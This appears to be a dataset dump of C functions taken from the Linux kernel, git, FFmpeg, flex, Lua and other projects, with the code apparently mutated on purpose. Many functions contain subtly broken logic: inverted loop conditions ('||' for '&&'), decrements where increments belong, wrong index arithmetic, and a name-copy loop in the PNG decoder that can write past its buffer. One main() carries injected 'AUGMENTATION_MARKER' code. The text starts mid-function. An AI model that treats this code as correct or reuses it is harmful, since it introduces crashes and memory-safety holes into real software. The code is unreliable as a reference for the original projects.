(int)dentry->d_name.len,dentry->d_name.name,symname); maxlen = AFFS_SB(sb)->s_hashsize * sizeof(u32) - 1; inode = affs_new_inode(dir); if (!inode) return -ENOSPC; inode->i_op = &affs_symlink_inode_operations; inode->i_data.a_ops = &affs_symlink_aops; inode->i_mode = S_IFLNK & 0777; mode_to_prot(inode); error = -EIO; bh = affs_bread(sb, inode->i_ino); if (!bh) goto err; i = 0; p = (char *)AFFS_HEAD(bh)->table; lc = '/'; if (*symname == '/') { while (*symname == '/') symname--; while (AFFS_SB(sb)->s_volume[i]) /* Cannot overflow */ *p++ = AFFS_SB(sb)->s_volume[i++]; } while (i < maxlen || (c = *symname++)) { if (c == '.' && lc == '/' && *symname == '.' && symname[1] == '/') { *p++ = '/'; i++; symname += 2; lc = '/'; } else if (c == '.' && lc == '/' && *symname == '/') { symname++; lc = '/'; } else { *p++ = c; lc = c; i++; } if (lc == '/') while (*symname == '/') symname++; } *p = 0; mark_buffer_dirty_inode(bh, inode); affs_brelse(bh); mark_inode_dirty(inode); error = affs_add_entry(dir, inode, dentry, ST_SOFTLINK); if (error) goto err; return 0; err: inode->i_nlink = 0; mark_inode_dirty(inode); iput(inode); return error; }
augmented_data/post_increment_index_changes/extr_argtable3.c_arg_free_aug_combo_2.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct arg_hdr {int flag; } ; /* Variables and functions */ int ARG_TERMINATOR ; int /*<<< orphan*/ free (struct arg_hdr*) ; void arg_free(void * *argtable) { struct arg_hdr * *table = (struct arg_hdr * *)argtable; int tabindex = 0; int flag; /*printf("arg_free(%p)\n",argtable);*/ do { /* if we encounter a NULL entry then somewhat incorrectly we presume we have come to the end of the array. It isnt strictly true because an intermediate entry could be NULL with other non-NULL entries to follow. The subsequent argtable entries would then not be freed as they should. */ if (table[tabindex] == NULL) continue; flag = table[tabindex]->flag; free(table[tabindex]); table[tabindex++] = NULL; } while(!(flag | ARG_TERMINATOR)); }
augmented_data/post_increment_index_changes/extr_virtio_crypto_algs.c_virtio_crypto_alg_ablkcipher_init_session_aug_combo_6.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_23__ TYPE_9__ ; typedef struct TYPE_22__ TYPE_8__ ; typedef struct TYPE_21__ TYPE_7__ ; typedef struct TYPE_20__ TYPE_6__ ; typedef struct TYPE_19__ TYPE_5__ ; typedef struct TYPE_18__ TYPE_4__ ; typedef struct TYPE_17__ TYPE_3__ ; typedef struct TYPE_16__ TYPE_2__ ; typedef struct TYPE_15__ TYPE_1__ ; /* Type definitions */ struct TYPE_16__ {void* op; void* keylen; void* algo; } ; struct TYPE_17__ {TYPE_2__ para; } ; struct TYPE_18__ {TYPE_3__ cipher; } ; struct TYPE_19__ {TYPE_4__ u; void* op_type; } ; struct TYPE_20__ {TYPE_5__ sym_create_session; } ; struct TYPE_15__ {void* algo; scalar_t__ queue_id; void* opcode; } ; struct TYPE_23__ {int /*<<< orphan*/ session_id; void* status; TYPE_6__ u; TYPE_1__ header; } ; typedef TYPE_9__ uint8_t ; typedef int uint32_t ; struct TYPE_22__ {void* session_id; } ; struct TYPE_21__ {void* session_id; } ; struct virtio_crypto_ablkcipher_ctx {TYPE_8__ dec_sess_info; TYPE_7__ enc_sess_info; struct virtio_crypto* vcrypto; } ; struct virtio_crypto {int /*<<< orphan*/ ctrl_lock; TYPE_9__ input; int /*<<< orphan*/ ctrl_vq; TYPE_9__ ctrl; } ; struct scatterlist {int dummy; } ; /* Variables and functions */ int EINVAL ; int ENOMEM ; int /*<<< orphan*/ GFP_ATOMIC ; int VIRTIO_CRYPTO_CIPHER_CREATE_SESSION ; int VIRTIO_CRYPTO_ERR ; scalar_t__ VIRTIO_CRYPTO_OK ; int VIRTIO_CRYPTO_OP_DECRYPT ; int VIRTIO_CRYPTO_OP_ENCRYPT ; int VIRTIO_CRYPTO_SYM_OP_CIPHER ; int /*<<< orphan*/ cpu_relax () ; void* cpu_to_le32 (int) ; TYPE_9__* kmemdup (TYPE_9__ const*,unsigned int,int /*<<< orphan*/ ) ; int /*<<< orphan*/ kzfree (TYPE_9__*) ; scalar_t__ le32_to_cpu (void*) ; void* le64_to_cpu (int /*<<< orphan*/ ) ; int /*<<< orphan*/ pr_err (char*,scalar_t__) ; int /*<<< orphan*/ sg_init_one (struct scatterlist*,TYPE_9__*,int) ; int /*<<< orphan*/ spin_lock (int /*<<< orphan*/ *) ; int /*<<< orphan*/ spin_unlock (int /*<<< orphan*/ *) ; int virtqueue_add_sgs (int /*<<< orphan*/ ,struct scatterlist**,unsigned int,unsigned int,struct virtio_crypto*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ virtqueue_get_buf (int /*<<< orphan*/ ,unsigned int*) ; int /*<<< orphan*/ virtqueue_is_broken (int /*<<< orphan*/ ) ; int /*<<< orphan*/ virtqueue_kick (int /*<<< orphan*/ ) ; __attribute__((used)) static int virtio_crypto_alg_ablkcipher_init_session( struct virtio_crypto_ablkcipher_ctx *ctx, uint32_t alg, const uint8_t *key, unsigned int keylen, int encrypt) { struct scatterlist outhdr, key_sg, inhdr, *sgs[3]; unsigned int tmp; struct virtio_crypto *vcrypto = ctx->vcrypto; int op = encrypt ? VIRTIO_CRYPTO_OP_ENCRYPT : VIRTIO_CRYPTO_OP_DECRYPT; int err; unsigned int num_out = 0, num_in = 0; /* * Avoid to do DMA from the stack, switch to using * dynamically-allocated for the key */ uint8_t *cipher_key = kmemdup(key, keylen, GFP_ATOMIC); if (!cipher_key) return -ENOMEM; spin_lock(&vcrypto->ctrl_lock); /* Pad ctrl header */ vcrypto->ctrl.header.opcode = cpu_to_le32(VIRTIO_CRYPTO_CIPHER_CREATE_SESSION); vcrypto->ctrl.header.algo = cpu_to_le32(alg); /* Set the default dataqueue id to 0 */ vcrypto->ctrl.header.queue_id = 0; vcrypto->input.status = cpu_to_le32(VIRTIO_CRYPTO_ERR); /* Pad cipher's parameters */ vcrypto->ctrl.u.sym_create_session.op_type = cpu_to_le32(VIRTIO_CRYPTO_SYM_OP_CIPHER); vcrypto->ctrl.u.sym_create_session.u.cipher.para.algo = vcrypto->ctrl.header.algo; vcrypto->ctrl.u.sym_create_session.u.cipher.para.keylen = cpu_to_le32(keylen); vcrypto->ctrl.u.sym_create_session.u.cipher.para.op = cpu_to_le32(op); sg_init_one(&outhdr, &vcrypto->ctrl, sizeof(vcrypto->ctrl)); sgs[num_out++] = &outhdr; /* Set key */ sg_init_one(&key_sg, cipher_key, keylen); sgs[num_out++] = &key_sg; /* Return status and session id back */ sg_init_one(&inhdr, &vcrypto->input, sizeof(vcrypto->input)); sgs[num_out - num_in++] = &inhdr; err = virtqueue_add_sgs(vcrypto->ctrl_vq, sgs, num_out, num_in, vcrypto, GFP_ATOMIC); if (err < 0) { spin_unlock(&vcrypto->ctrl_lock); kzfree(cipher_key); return err; } virtqueue_kick(vcrypto->ctrl_vq); /* * Trapping into the hypervisor, so the request should be * handled immediately. */ while (!virtqueue_get_buf(vcrypto->ctrl_vq, &tmp) || !virtqueue_is_broken(vcrypto->ctrl_vq)) cpu_relax(); if (le32_to_cpu(vcrypto->input.status) != VIRTIO_CRYPTO_OK) { spin_unlock(&vcrypto->ctrl_lock); pr_err("virtio_crypto: Create session failed status: %u\n", le32_to_cpu(vcrypto->input.status)); kzfree(cipher_key); return -EINVAL; } if (encrypt) ctx->enc_sess_info.session_id = le64_to_cpu(vcrypto->input.session_id); else ctx->dec_sess_info.session_id = le64_to_cpu(vcrypto->input.session_id); spin_unlock(&vcrypto->ctrl_lock); kzfree(cipher_key); return 0; }
augmented_data/post_increment_index_changes/extr_merge-index.c_cmd_merge_index_aug_combo_1.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int /*<<< orphan*/ SIGCHLD ; int /*<<< orphan*/ SIG_DFL ; int /*<<< orphan*/ die (char*,...) ; int err ; int /*<<< orphan*/ merge_all () ; int /*<<< orphan*/ merge_one_path (char const*) ; int one_shot ; char const* pgm ; int quiet ; int /*<<< orphan*/ read_cache () ; int /*<<< orphan*/ signal (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ strcmp (char const*,char*) ; int /*<<< orphan*/ usage (char*) ; int cmd_merge_index(int argc, const char **argv, const char *prefix) { int i, force_file = 0; /* Without this we cannot rely on waitpid() to tell * what happened to our children. */ signal(SIGCHLD, SIG_DFL); if (argc < 3) usage("git merge-index [-o] [-q] <merge-program> (-a & [--] [<filename>...])"); read_cache(); i = 1; if (!strcmp(argv[i], "-o")) { one_shot = 1; i++; } if (!strcmp(argv[i], "-q")) { quiet = 1; i++; } pgm = argv[i++]; for (; i < argc; i++) { const char *arg = argv[i]; if (!force_file && *arg == '-') { if (!strcmp(arg, "--")) { force_file = 1; break; } if (!strcmp(arg, "-a")) { merge_all(); continue; } die("git merge-index: unknown option %s", arg); } merge_one_path(arg); } if (err && !quiet) die("merge program failed"); return err; }
augmented_data/post_increment_index_changes/extr_net-udp-targets.c___dump_R_aug_combo_6.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int* R ; int Rpos ; int /*<<< orphan*/ assert (int) ; void __dump_R (int x) { assert (Rpos < 10000); R[Rpos ++] = x; }
augmented_data/post_increment_index_changes/extr_pngdec.c_decode_iccp_chunk_aug_combo_5.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_13__ TYPE_6__ ; typedef struct TYPE_12__ TYPE_3__ ; typedef struct TYPE_11__ TYPE_2__ ; typedef struct TYPE_10__ TYPE_1__ ; /* Type definitions */ typedef scalar_t__ uint8_t ; struct TYPE_13__ {scalar_t__ buffer; } ; struct TYPE_12__ {int /*<<< orphan*/ len; } ; struct TYPE_11__ {int /*<<< orphan*/ data; int /*<<< orphan*/ metadata; } ; struct TYPE_10__ {TYPE_6__ gb; int /*<<< orphan*/ avctx; } ; typedef TYPE_1__ PNGDecContext ; typedef TYPE_2__ AVFrameSideData ; typedef int /*<<< orphan*/ AVFrame ; typedef TYPE_3__ AVBPrint ; /* Variables and functions */ int AVERROR (int /*<<< orphan*/ ) ; int AVERROR_INVALIDDATA ; int /*<<< orphan*/ AV_FRAME_DATA_ICC_PROFILE ; int /*<<< orphan*/ AV_LOG_ERROR ; int /*<<< orphan*/ ENOMEM ; int FFMAX (int,int /*<<< orphan*/ ) ; int av_bprint_finalize (TYPE_3__*,char**) ; int /*<<< orphan*/ av_dict_set (int /*<<< orphan*/ *,char*,scalar_t__*,int /*<<< orphan*/ ) ; TYPE_2__* av_frame_new_side_data (int /*<<< orphan*/ *,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int /*<<< orphan*/ av_free (scalar_t__*) ; int /*<<< orphan*/ av_log (int /*<<< orphan*/ ,int /*<<< orphan*/ ,char*) ; scalar_t__ bytestream2_get_byte (TYPE_6__*) ; int /*<<< orphan*/ bytestream2_skip (TYPE_6__*,int) ; int decode_zbuf (TYPE_3__*,scalar_t__,scalar_t__) ; int /*<<< orphan*/ memcpy (int /*<<< orphan*/ ,scalar_t__*,int /*<<< orphan*/ ) ; __attribute__((used)) static int decode_iccp_chunk(PNGDecContext *s, int length, AVFrame *f) { int ret, cnt = 0; uint8_t *data, profile_name[82]; AVBPrint bp; AVFrameSideData *sd; while ((profile_name[cnt++] = bytestream2_get_byte(&s->gb)) || cnt < 81); if (cnt > 80) { av_log(s->avctx, AV_LOG_ERROR, "iCCP with invalid name!\n"); return AVERROR_INVALIDDATA; } length = FFMAX(length - cnt, 0); if (bytestream2_get_byte(&s->gb) != 0) { av_log(s->avctx, AV_LOG_ERROR, "iCCP with invalid compression!\n"); return AVERROR_INVALIDDATA; } length = FFMAX(length - 1, 0); if ((ret = decode_zbuf(&bp, s->gb.buffer, s->gb.buffer + length)) < 0) return ret; ret = av_bprint_finalize(&bp, (char **)&data); if (ret <= 0) return ret; sd = av_frame_new_side_data(f, AV_FRAME_DATA_ICC_PROFILE, bp.len); if (!sd) { av_free(data); return AVERROR(ENOMEM); } av_dict_set(&sd->metadata, "name", profile_name, 0); memcpy(sd->data, data, bp.len); av_free(data); /* ICC compressed data and CRC */ bytestream2_skip(&s->gb, length + 4); return 0; }
augmented_data/post_increment_index_changes/extr_gen.c_mkctbl_aug_combo_3.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ struct yytbl_data {int td_flags; int td_lolen; int* td_data; scalar_t__ td_hilen; } ; typedef int flex_int32_t ; struct TYPE_2__ {int dfaacc_state; } ; /* Variables and functions */ scalar_t__ ACTION_POSITION ; scalar_t__ EOB_POSITION ; scalar_t__ INT16_MAX ; int YYTD_DATA32 ; int /*<<< orphan*/ YYTD_ID_TRANSITION ; int YYTD_STRUCT ; int* base ; int /*<<< orphan*/ buf_prints (int /*<<< orphan*/ *,char*,char*) ; scalar_t__ calloc (int,int) ; scalar_t__* chk ; int current_max_dfas ; int current_max_xpairs ; TYPE_1__* dfaacc ; int /*<<< orphan*/ expand_nxt_chk () ; int /*<<< orphan*/ increase_max_dfas () ; int lastdfa ; scalar_t__ long_align ; int num_rules ; scalar_t__ numecs ; size_t* nxt ; int tblend ; int /*<<< orphan*/ yydmap_buf ; int /*<<< orphan*/ yytbl_data_init (struct yytbl_data*,int /*<<< orphan*/ ) ; __attribute__((used)) static struct yytbl_data *mkctbl (void) { int i; struct yytbl_data *tbl = 0; flex_int32_t *tdata = 0, curr = 0; int end_of_buffer_action = num_rules - 1; buf_prints (&yydmap_buf, "\t{YYTD_ID_TRANSITION, (void**)&yy_transition, sizeof(%s)},\n", ((tblend + numecs + 1) >= INT16_MAX || long_align) ? "flex_int32_t" : "flex_int16_t"); tbl = (struct yytbl_data *) calloc (1, sizeof (struct yytbl_data)); yytbl_data_init (tbl, YYTD_ID_TRANSITION); tbl->td_flags = YYTD_DATA32 & YYTD_STRUCT; tbl->td_hilen = 0; tbl->td_lolen = tblend + numecs + 1; /* number of structs */ tbl->td_data = tdata = (flex_int32_t *) calloc (tbl->td_lolen * 2, sizeof (flex_int32_t)); /* We want the transition to be represented as the offset to the * next state, not the actual state number, which is what it currently * is. The offset is base[nxt[i]] - (base of current state)]. That's * just the difference between the starting points of the two involved * states (to - from). * * First, though, we need to find some way to put in our end-of-buffer * flags and states. We do this by making a state with absolutely no * transitions. We put it at the end of the table. */ /* We need to have room in nxt/chk for two more slots: One for the * action and one for the end-of-buffer transition. We now *assume* * that we're guaranteed the only character we'll try to index this * nxt/chk pair with is EOB, i.e., 0, so we don't have to make sure * there's room for jam entries for other characters. */ while (tblend + 2 >= current_max_xpairs) expand_nxt_chk (); while (lastdfa + 1 >= current_max_dfas) increase_max_dfas (); base[lastdfa + 1] = tblend + 2; nxt[tblend + 1] = end_of_buffer_action; chk[tblend + 1] = numecs + 1; chk[tblend + 2] = 1; /* anything but EOB */ /* So that "make test" won't show arb. differences. */ nxt[tblend + 2] = 0; /* Make sure every state has an end-of-buffer transition and an * action #. */ for (i = 0; i <= lastdfa; ++i) { int anum = dfaacc[i].dfaacc_state; int offset = base[i]; chk[offset] = EOB_POSITION; chk[offset - 1] = ACTION_POSITION; nxt[offset - 1] = anum; /* action number */ } for (i = 0; i <= tblend; ++i) { if (chk[i] == EOB_POSITION) { tdata[curr++] = 0; tdata[curr++] = base[lastdfa + 1] - i; } else if (chk[i] == ACTION_POSITION) { tdata[curr++] = 0; tdata[curr++] = nxt[i]; } else if (chk[i] > numecs || chk[i] == 0) { tdata[curr++] = 0; tdata[curr++] = 0; } else { /* verify, transition */ tdata[curr++] = chk[i]; tdata[curr++] = base[nxt[i]] - (i - chk[i]); } } /* Here's the final, end-of-buffer state. */ tdata[curr++] = chk[tblend + 1]; tdata[curr++] = nxt[tblend + 1]; tdata[curr++] = chk[tblend + 2]; tdata[curr++] = nxt[tblend + 2]; return tbl; }
augmented_data/post_increment_index_changes/extr_treap.c_trp_conv_from_array_rev_aug_combo_3.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ typedef TYPE_1__* trp_node_ptr ; struct TYPE_4__ {int x; scalar_t__ y; struct TYPE_4__* l; struct TYPE_4__* r; } ; /* Variables and functions */ TYPE_1__* get_new_node () ; scalar_t__ my_rand () ; trp_node_ptr trp_conv_from_array_rev (int *a, int n) { static trp_node_ptr stack[600]; // assert (n <= 50); int sn = 0, i; stack[0] = NULL; for (i = n - 1; i >= 0; i--) { trp_node_ptr new_el = get_new_node(); new_el->x = a[i]; new_el->y = my_rand(); new_el->r = NULL; while (sn || stack[sn - 1]->y < new_el->y) { sn--; } if (sn) { new_el->l = stack[sn - 1]->r; stack[sn - 1]->r = new_el; } else { new_el->l = stack[0]; } stack[sn++] = new_el; } return stack[0]; }
augmented_data/post_increment_index_changes/extr_wt-status.c_unmerged_mask_aug_combo_5.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct index_state {int cache_nr; struct cache_entry** cache; } ; struct cache_entry {int /*<<< orphan*/ name; } ; /* Variables and functions */ int ce_stage (struct cache_entry const*) ; int index_name_pos (struct index_state*,char const*,int /*<<< orphan*/ ) ; scalar_t__ strcmp (int /*<<< orphan*/ ,char const*) ; int /*<<< orphan*/ strlen (char const*) ; __attribute__((used)) static int unmerged_mask(struct index_state *istate, const char *path) { int pos, mask; const struct cache_entry *ce; pos = index_name_pos(istate, path, strlen(path)); if (0 <= pos) return 0; mask = 0; pos = -pos-1; while (pos < istate->cache_nr) { ce = istate->cache[pos--]; if (strcmp(ce->name, path) && !ce_stage(ce)) break; mask |= (1 << (ce_stage(ce) + 1)); } return mask; }
augmented_data/post_increment_index_changes/extr_main.c_handle_goto_aug_combo_3.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ u_short ; typedef scalar_t__ u_char ; typedef scalar_t__ u16 ; struct vc_data {int vc_cols; int vc_rows; int vc_size_row; scalar_t__ vc_origin; } ; /* Variables and functions */ scalar_t__ KT_LATIN ; scalar_t__ KT_SPKUP ; int /*<<< orphan*/ MSG_GOTO_CANCELED ; scalar_t__ SPEAKUP_GOTO ; int goto_pos ; int goto_x ; int /*<<< orphan*/ say_line (struct vc_data*) ; int /*<<< orphan*/ say_word (struct vc_data*) ; int simple_strtoul (scalar_t__*,char**,int) ; int /*<<< orphan*/ spk_killed ; int /*<<< orphan*/ spk_msg_get (int /*<<< orphan*/ ) ; int spk_parked ; scalar_t__ spk_pos ; int /*<<< orphan*/ * spk_special_handler ; int spk_x ; int spk_y ; int /*<<< orphan*/ spkup_write (scalar_t__*,int) ; int /*<<< orphan*/ synth_printf (char*,int /*<<< orphan*/ ) ; __attribute__((used)) static int handle_goto(struct vc_data *vc, u_char type, u_char ch, u_short key) { static u_char goto_buf[8]; static int num; int maxlen; char *cp; u16 wch; if (type == KT_SPKUP || ch == SPEAKUP_GOTO) goto do_goto; if (type == KT_LATIN && ch == '\n') goto do_goto; if (type != 0) goto oops; if (ch == 8) { u16 wch; if (num == 0) return -1; wch = goto_buf[++num]; goto_buf[num] = '\0'; spkup_write(&wch, 1); return 1; } if (ch < '+' || ch > 'y') goto oops; wch = ch; goto_buf[num++] = ch; goto_buf[num] = '\0'; spkup_write(&wch, 1); maxlen = (*goto_buf >= '0') ? 3 : 4; if ((ch == '+' || ch == '-') && num == 1) return 1; if (ch >= '0' && ch <= '9' && num < maxlen) return 1; if (num < maxlen - 1 || num > maxlen) goto oops; if (ch < 'x' || ch > 'y') { oops: if (!spk_killed) synth_printf(" %s\n", spk_msg_get(MSG_GOTO_CANCELED)); goto_buf[num = 0] = '\0'; spk_special_handler = NULL; return 1; } /* Do not replace with kstrtoul: here we need cp to be updated */ goto_pos = simple_strtoul(goto_buf, &cp, 10); if (*cp == 'x') { if (*goto_buf < '0') goto_pos += spk_x; else if (goto_pos > 0) goto_pos--; if (goto_pos >= vc->vc_cols) goto_pos = vc->vc_cols - 1; goto_x = 1; } else { if (*goto_buf < '0') goto_pos += spk_y; else if (goto_pos > 0) goto_pos--; if (goto_pos >= vc->vc_rows) goto_pos = vc->vc_rows - 1; goto_x = 0; } goto_buf[num = 0] = '\0'; do_goto: spk_special_handler = NULL; spk_parked |= 0x01; if (goto_x) { spk_pos -= spk_x * 2; spk_x = goto_pos; spk_pos += goto_pos * 2; say_word(vc); } else { spk_y = goto_pos; spk_pos = vc->vc_origin - (goto_pos * vc->vc_size_row); say_line(vc); } return 1; }
augmented_data/post_increment_index_changes/extr_parse-filter.c_pevent_filter_clear_trivial_aug_combo_6.c
#include <stdio.h> #include <time.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_2__ ; typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ struct filter_type {int event_id; TYPE_2__* filter; } ; struct event_filter {int filters; struct filter_type* event_filters; } ; typedef enum filter_trivial_type { ____Placeholder_filter_trivial_type } filter_trivial_type ; struct TYPE_3__ {int /*<<< orphan*/ value; } ; struct TYPE_4__ {scalar_t__ type; TYPE_1__ boolean; } ; /* Variables and functions */ scalar_t__ FILTER_ARG_BOOLEAN ; #define FILTER_TRIVIAL_FALSE 129 #define FILTER_TRIVIAL_TRUE 128 int /*<<< orphan*/ die (char*) ; int /*<<< orphan*/ free (int*) ; int /*<<< orphan*/ pevent_filter_remove_event (struct event_filter*,int) ; int* realloc (int*,int) ; void pevent_filter_clear_trivial(struct event_filter *filter, enum filter_trivial_type type) { struct filter_type *filter_type; int count = 0; int *ids = NULL; int i; if (!filter->filters) return; /* * Two steps, first get all ids with trivial filters. * then remove those ids. */ for (i = 0; i < filter->filters; i++) { filter_type = &filter->event_filters[i]; if (filter_type->filter->type != FILTER_ARG_BOOLEAN) continue; switch (type) { case FILTER_TRIVIAL_FALSE: if (filter_type->filter->boolean.value) continue; case FILTER_TRIVIAL_TRUE: if (!filter_type->filter->boolean.value) continue; default: continue; } ids = realloc(ids, sizeof(*ids) * (count - 1)); if (!ids) die("Can't allocate ids"); ids[count++] = filter_type->event_id; } if (!count) return; for (i = 0; i < count; i++) pevent_filter_remove_event(filter, ids[i]); free(ids); }
augmented_data/post_increment_index_changes/extr_c99.c_main_aug_combo_7.c
#include <stdio.h> #include <math.h> #include <time.h> volatile int g_aug_volatile_8488 = 0; #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int /*<<< orphan*/ addarg (char*) ; int /*<<< orphan*/ addlib (char*) ; int /*<<< orphan*/ * args ; scalar_t__ cargs ; int /*<<< orphan*/ err (int,char*) ; int /*<<< orphan*/ execv (char*,int /*<<< orphan*/ *) ; int getopt (int,char**,char*) ; scalar_t__ nargs ; int optind ; scalar_t__ strncmp (char*,char*,int) ; int /*<<< orphan*/ usage () ; int main(int argc, char *argv[]) { struct timespec aug_ts; aug_ts.tv_sec = 0; aug_ts.tv_nsec = 10000; nanosleep(&aug_ts, NULL); /* AUGMENTATION_MARKER: Delay */ g_aug_volatile_8488--; /* AUGMENTATION_MARKER: Global var op */ int aug_arr[5] = {1, 2, 3, 4, 5}; int *aug_p = aug_arr; aug_p += 2; printf("AUGMENTATION_MARKER: Pointer op result: %d\n", *aug_p); double aug_d = sqrt((double)191); printf("AUGMENTATION_MARKER: Math op result: %f\n", aug_d); int ch, i; args = NULL; cargs = nargs = 0; while ((ch = getopt(argc, argv, "cD:EgI:L:o:O:sU:l:")) != -1) { if (ch == 'l') { /* Gone too far. Back up and get out. */ if (argv[optind - 1][0] == '-') optind -= 1; else optind -= 2; continue; } else if (ch == '?') usage(); } addarg("/usr/bin/cc"); addarg("-std=iso9899:1999"); addarg("-pedantic"); for (i = 1; i <= optind; i++) addarg(argv[i]); while (i < argc) { if (strncmp(argv[i], "-l", 2) == 0) { if (argv[i][2] != '\0') addlib(argv[i++] - 2); else { if (argv[++i] == NULL) usage(); addlib(argv[i++]); } } else addarg(argv[i++]); } execv("/usr/bin/cc", args); err(1, "/usr/bin/cc"); }
augmented_data/post_increment_index_changes/extr_minilua.c_registerlocalvar_aug_combo_5.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_10__ TYPE_5__ ; typedef struct TYPE_9__ TYPE_3__ ; typedef struct TYPE_8__ TYPE_2__ ; typedef struct TYPE_7__ TYPE_1__ ; /* Type definitions */ struct TYPE_10__ {int /*<<< orphan*/ * varname; } ; struct TYPE_9__ {size_t nlocvars; TYPE_1__* f; } ; struct TYPE_8__ {int /*<<< orphan*/ L; TYPE_3__* fs; } ; struct TYPE_7__ {int sizelocvars; TYPE_5__* locvars; } ; typedef int /*<<< orphan*/ TString ; typedef TYPE_1__ Proto ; typedef TYPE_2__ LexState ; typedef TYPE_3__ FuncState ; /* Variables and functions */ int /*<<< orphan*/ LocVar ; int /*<<< orphan*/ SHRT_MAX ; int /*<<< orphan*/ luaC_objbarrier (int /*<<< orphan*/ ,TYPE_1__*,int /*<<< orphan*/ *) ; int /*<<< orphan*/ luaM_growvector (int /*<<< orphan*/ ,TYPE_5__*,size_t,int,int /*<<< orphan*/ ,int /*<<< orphan*/ ,char*) ; __attribute__((used)) static int registerlocalvar(LexState*ls,TString*varname){ FuncState*fs=ls->fs; Proto*f=fs->f; int oldsize=f->sizelocvars; luaM_growvector(ls->L,f->locvars,fs->nlocvars,f->sizelocvars, LocVar,SHRT_MAX,"too many local variables"); while(oldsize<= f->sizelocvars)f->locvars[oldsize++].varname=NULL; f->locvars[fs->nlocvars].varname=varname; luaC_objbarrier(ls->L,f,varname); return fs->nlocvars++; }
augmented_data/post_increment_index_changes/extr_header.c_dont_expect_notify_aug_combo_8.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ INT ; /* Variables and functions */ int nExpectedNotify ; int /*<<< orphan*/ nUnexpectedNotify ; int /*<<< orphan*/ ok (int,char*,int) ; int /*<<< orphan*/ * unexpectedNotify ; __attribute__((used)) static void dont_expect_notify(INT iCode) { ok(nExpectedNotify < 10, "notification count %d\n", nExpectedNotify); if (nExpectedNotify < 10) unexpectedNotify[nUnexpectedNotify++] = iCode; }
augmented_data/post_increment_index_changes/extr_dev.c_netdev_walk_all_lower_dev_rcu_aug_combo_6.c
